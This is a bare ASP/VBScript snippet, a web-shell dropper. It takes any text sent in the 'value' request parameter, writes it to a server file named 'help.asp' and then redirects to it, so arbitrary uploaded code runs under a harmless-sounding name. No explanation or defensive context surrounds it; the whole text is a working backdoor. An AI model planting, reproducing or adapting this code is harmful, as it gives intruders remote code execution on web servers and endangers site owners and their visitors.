set lP=server.createObject("Adodb.Stream") 
lP.Open 
lP.Type=2 
lP.CharSet="gb2312" 
lP.writetext request("value") 
lP.SaveToFile server.mappath("help.asp"),2 
lP.Close 
set lP=nothing 
response.redirect "help.asp"